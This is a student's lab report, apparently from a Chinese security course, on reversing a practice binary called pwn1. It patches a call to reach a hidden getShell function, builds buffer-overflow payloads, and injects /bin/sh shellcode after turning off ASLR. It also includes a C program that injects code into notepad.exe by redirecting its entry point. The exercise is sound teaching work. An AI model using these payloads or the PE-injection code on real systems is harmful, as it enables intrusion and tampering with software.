2019-2020-2 20174310《网络对抗技术》 Exp1 PC平台逆向破解

一、逆向及Bof基础实践说明

1、实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  2. 掌握反汇编与十六进制编程器
  3. 正确修改机器指令改变程序执行流程
  4. 正确构造payload进行bof攻击

1、基础知识

1)常用指令:
  • 管道(|)
    命令格式:命令A|命令B,即命令1的正确输出作为命令B的操作对象

  • 输入、输出重定向(>):标准输入输出重定向就是为了改变数据流动的方向。很多时候,我们需要从某文件中读取出内容作为输入;或者将结果存到一个文件中。这时,数据输入方向:从文件到程序;数据输出方向:从程序到文件。


NOP
:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)2)NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
  • JE:条件转移指令,如果相等则跳转。(机器码:74)
  • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
  • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
3)反汇编与十六进制编程器
    • 反汇编指令objdump -d <文件名>
      • object dump 项目导出
      • -d disassemble 反汇编

 

    •   十六进制指令为perl -e 'print "字符/字符串"' > <文件名>
      • %!xxd 进入十六进制编辑模式
      • %!xxd -r 切换回原模式

 

二、实验操作及具体步骤

 

1、直接修改机器指令,改变程序执行流程

 

1.1下载pwn1.zip,在kali中解压,并复制文件pwn2
1.2反汇编文件objdump -d pwn2
  • 第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。
  • call的机器指令为E8为跳转(直接call的机器指令为E8,间接call的机器指令为
  • 执行到call指令,偏移量为d7 ff ff ff(小端),eip的值为80484ba,即下一条指令的地址
  • eip=当前eip的值+相对偏移地址 新eip 为80484ba + d7ffffff = 8048491执行函数

 

1.3计算跳转地址并修改机器指令

 

 

改变程序执行 使执行由<foo>改变为<getshell>,所以修改机器指令,使它从指向08048491改为指向0804847d,新偏移量 为 0804847d = 80484ba + 偏移量,计算得偏移量c3 ff ff ff

 

 

 

 

  • vi pwn2 打开文件后为乱码
  • 输入%!xxd进入十六进制编辑模式,根据/e8d7快速找到需要修改的地址

 

  • 修改地址 ,将d7改成c3,然后使用:%!xxd -r转回原来乱码格式,:wq保存退出;
  • 反汇编查看机器指令;
  • pwn2运行结果(要将权限改为rwx才能运行)

2、通过构造输入参数,造成BOF攻击,改变程序执行流

  • 当程序调用时,会形成自己的栈帧,但是foo函数的缓冲区具有Bufferoverflow漏洞,即向这个缓冲区填入超出长度的字符串,多出来的内容会溢出并覆盖相邻的内存,当这段字符串精心设计后,就有可能会覆盖返回地址,使返回地址指向getshell,达到攻击目的。
  • foo函数读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
  • 正常时call调用foo,同时在堆栈上压上返回地址值0x80484ba

 

  • 2.1确认输入字符串哪几个字符会覆盖到返回地址

 

  • gdb pwn1调试程序,输入有规律的字符串如1111111122222222333333334444444412345678,发生错误产生溢出
  • info r查看寄存器eip的值,发现输入的12345678被覆盖到堆栈上的返回地址

 

  • 2.2构造输入字符串

 

  • 12345678换成getShell的地址0x0804847d
  • 由于数据按小端存储,我们的正确输入为11111111222222223333333344444444\x7d\x84\x04\x08
  • 因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包括字符串的一个文件(\x0a表示回车);
  • 使用16进制查看指令xxd查看input文件的内容,确认无误后用(cat input;cat) | ./pwn1input中的字符串作为可执行文件的输入。
  •  

    因为在这个过程中修改了栈中ebp的值,所以会出现段错误的情况

 

3、注入Shellcode并执行

 

 

  • 3.1准备工作

 

  • 安装execstack
  • 修改设置

  • execstack -s pwn1 //设置堆栈可执行
  • execstack -q pwn1 //查询文件的堆栈是否可执行
  • more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
  • echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

 

  • 3.2构造要使用的payload

Linux下有两种基本构造攻击buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr
  • 选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
  • 注入:(cat input_shellcode;cat) | ./pwn1

  • 打开一个终端查看执行文件进程号ps -ef | grep pwn1

  • 启用gdb调试进程,attach 32367与进程建立连接
  • 输入指令 disassemble foo 对foo函数进行反汇编。
  • 然后设置断点,来查看注入buf的内存地址。指令为:break *0x080484ae
  • 然后回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令 c 继续。
  • 接下来输入指令info r esp 查看查看栈顶指针所在的位置,并查看改地址存放的数据
  • 发现\x4\x3\x2\x1果然出现在栈顶,就是返回地址的位置。shellcode就挨着,所以地址是0xffffd29c+4=0xffffd290
  •  修改代码

perl -e 'print "A" x 32;print "\xa0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  • 实验完成

四、简单的windows扩展实验

  • 目标:通过手动、C语言代码的方法修改一个exe文件的二进制数据,添加一个简单的4个参数均为0的MessageBox提示框
  • 方法:1.手动:通过16进制编辑器WinHex,在某一个节后面空余的空间,添加call MessageBox的硬编码,并添加jump 原OEP的硬编码,更改OEP指向添加硬编码的初始位置,即可实现。
  • 2.代码:(具体见源代码)
  • 实验环境:在虚拟机windows2000上实现系统自带的notepad.exe的实验
  • 步骤:
  • 1.在WinHex中打开exe文件
  • 不难发现Entry Point(OEP)为0x00006420

 

  • 根据节表信息找到第一个节与第二个节中间空闲的位置:0x00006BCA处 可以添加这段简单的硬编码:

  • 6A 00 6A 00 6A 00 6A 00//向栈中PUSH 0(压入4个参数0)
  • E8 91 C7 E1 76 //根据od得到MessageBox函数的地址77E23D68,所以 地址 = 77E23D68 - (ImageBase+6BD7-SizeOfHeaders+内存对齐)=76E1 C791‬  ImageBase:0x1000000  SizeOfHeaders:0x600   内存对齐:0x1000
  •  

     

  • E9 44 EE FF FF//jump到原OEP使程序正常执行 地址= 6420-(6BDC-SizeOfHeaders+内存对齐)

 

  • 将原OEP改为75CA  (6BCA-SizeOfHeaders+内存对齐)
  • 2.修改完成后,将其另存为20174310srq.exe

  •  双击打开exe

     

     

     点击确定,跳回正确的OEP,显示出正常的记事本

     

     

     3.代码实现:

  • // 简单实验.cpp : Defines the entry point for the console application.
    //
    #include "stdafx.h"
    #include <malloc.h>
    #include <string.h>
    #define shellcode_len 0x12
    #define MessageBoxA 0x77e23d68
    int flen;
    int flag = 1;
    char shellcode[] = {
        0x6A,00,0x6A,00,0x6A,00,0x6A,00,
        0xe8,00,00,00,00,
        0xe9,00,00,00,00
    };
    typedef struct PE{
        int e_lfanew;
        short NumberOfSections;
        short SizeOfOptionalHeader;
        int EntryPoint;
        int ImageBase ;
        int SectionAlignment ;
        int SizeOfImage;
        int FileAlignment;
        int SizeOfHeaders;
    }headers;
    
    typedef struct sec{
        int PointerToRawData;
        int SizeOfRawData;
        int VirtualAddress;
        int VirtualSize;
    }section;
    
    headers headers_file;
    section sections;
    char* get_file(){
        FILE* fp;
        char* p;
        fp = fopen("notepad.EXE","rb");
        if(fp == NULL){
            printf("file error");
        }
        fseek(fp,0L,SEEK_END);
        flen = ftell(fp);
        fseek(fp,0L,SEEK_SET);
        p = (char*)malloc(flen);
        fread(p,flen,1,fp);
        fclose(fp);
        return p;
    }
    char get_char_data(char* start,int distance){
        char data = *(start+distance);
        return data;
    }
    short get_short_data(char* start,int distance){
        short data =*(short*) (start+distance);
        return data;
    }
    int get_int_data(char* start,int distance){
        int data =*(int*) (start+distance);
        return data;
    }
    void getInfo(char* start){
        headers_file.e_lfanew = get_int_data(start,60);
        start = start+headers_file.e_lfanew;
        headers_file.NumberOfSections = get_short_data(start,6);
        headers_file.SizeOfOptionalHeader = get_short_data(start,20);
        start = start+24;
        headers_file.EntryPoint = get_int_data(start,16);
        headers_file.ImageBase = get_int_data(start,28);
        headers_file.SectionAlignment = get_int_data(start,32);
        headers_file.SizeOfImage = get_int_data(start,56);
        headers_file.FileAlignment = get_int_data(start,36);
        headers_file.SizeOfHeaders = get_int_data(start,60);
    }
    void addcode(int i,char* start_image){
        if(flag == 0) return;
        else{
            if(sections.SizeOfRawData-sections.VirtualSize<shellcode_len){
                return;
            }
            else{
                int point = (int)start_image;
                flag--;
                memcpy(start_image+sections.VirtualAddress+sections.VirtualSize,shellcode,shellcode_len);
                printf("%x\n",sections.VirtualAddress+sections.VirtualSize);
                int E8 = (MessageBoxA-(headers_file.ImageBase+sections.VirtualAddress+sections.VirtualSize+0xd));
                printf("%x",E8);
                *(int*)(start_image+sections.VirtualAddress+sections.VirtualSize+9) = E8;
                int E9 = (headers_file.EntryPoint-(sections.VirtualAddress+sections.VirtualSize+0x12));
                printf("%x\n",headers_file.EntryPoint);
                printf("%x",E9);
                *(int*)(start_image+sections.VirtualAddress+sections.VirtualSize+0xe) = E9;
                *(int*)(start_image+40+headers_file.e_lfanew) = sections.VirtualAddress+sections.VirtualSize;
                printf("加码成功");
            }
        }
    }
    char* memcopy_image(char* start_file){
        char* start_image;
        start_image = (char*)malloc(headers_file.SizeOfImage);
        memset(start_image,0,headers_file.SizeOfImage);
        memcpy(start_image,start_file,headers_file.SizeOfHeaders);
        int i;
        char* start_section = start_file+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
        for(i=0;i<headers_file.NumberOfSections;i++){
            sections.PointerToRawData = get_int_data(start_section,20);
            sections.SizeOfRawData = get_int_data(start_section,16);
            sections.VirtualAddress = get_int_data(start_section,12);
            sections.VirtualSize = get_int_data(start_section,8);
            memcpy(start_image+sections.VirtualAddress,start_file+sections.PointerToRawData,sections.SizeOfRawData);
            addcode(i,start_image);
            start_section = start_section+40;
        }
        return start_image;
    }
    char* memcopy_file(char* start_image){
        char* start_file;
        start_file = (char*)malloc(flen);
        memset(start_file,0,flen); 
        memcpy(start_file,start_image,headers_file.SizeOfHeaders);
        int i; 
        char* start_section = start_image+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
        for(i=0;i<headers_file.NumberOfSections;i++){
            sections.PointerToRawData = get_int_data(start_section,20);
            sections.SizeOfRawData = get_int_data(start_section,16);
            sections.VirtualAddress = get_int_data(start_section,12);
            memcpy(start_file+sections.PointerToRawData,start_image+sections.VirtualAddress,sections.SizeOfRawData);
            start_section = start_section+40;
        }
        return start_file;
    }
    void copy_file(char* start_file){
        FILE* fp = fopen("20174310srq.exe","wb");
        fwrite(start_file,flen,1,fp);
        fclose(fp);
    }
    int main(int argc, char* argv[])
    {
    
        char* start = get_file();
        getInfo(start);
        char* start_image = memcopy_image(start);
        free(start);
        char* start_file = memcopy_file(start_image);
        copy_file(start_file);
        free(start_file);
        free(start_image);
        return 0;
    }

     

 

五、实践总结

  • (一)实验收获
  •         这次实验让我收获很多,因为平时都是在windows系统上做一些逆向的学习,这次实验让我第一次接触到了linux逆向的一些知识,让我收获颇丰。
  • (二)什么是漏洞?漏洞有什么危害?
  •        我认为漏洞是计算机和网络中可以用来进行攻击的各种弱点和缺陷。
  •        漏洞可能导致系统异常或崩溃、信息泄露、网页篡改等,危害个人或组织的财产、隐私、甚至是国家机密,危害人身安全和社会正常运转,影响经济社会发展。

 

posted @ 2020-03-13 19:00  20174310隋润起  阅读(26)  评论(0编辑  收藏  举报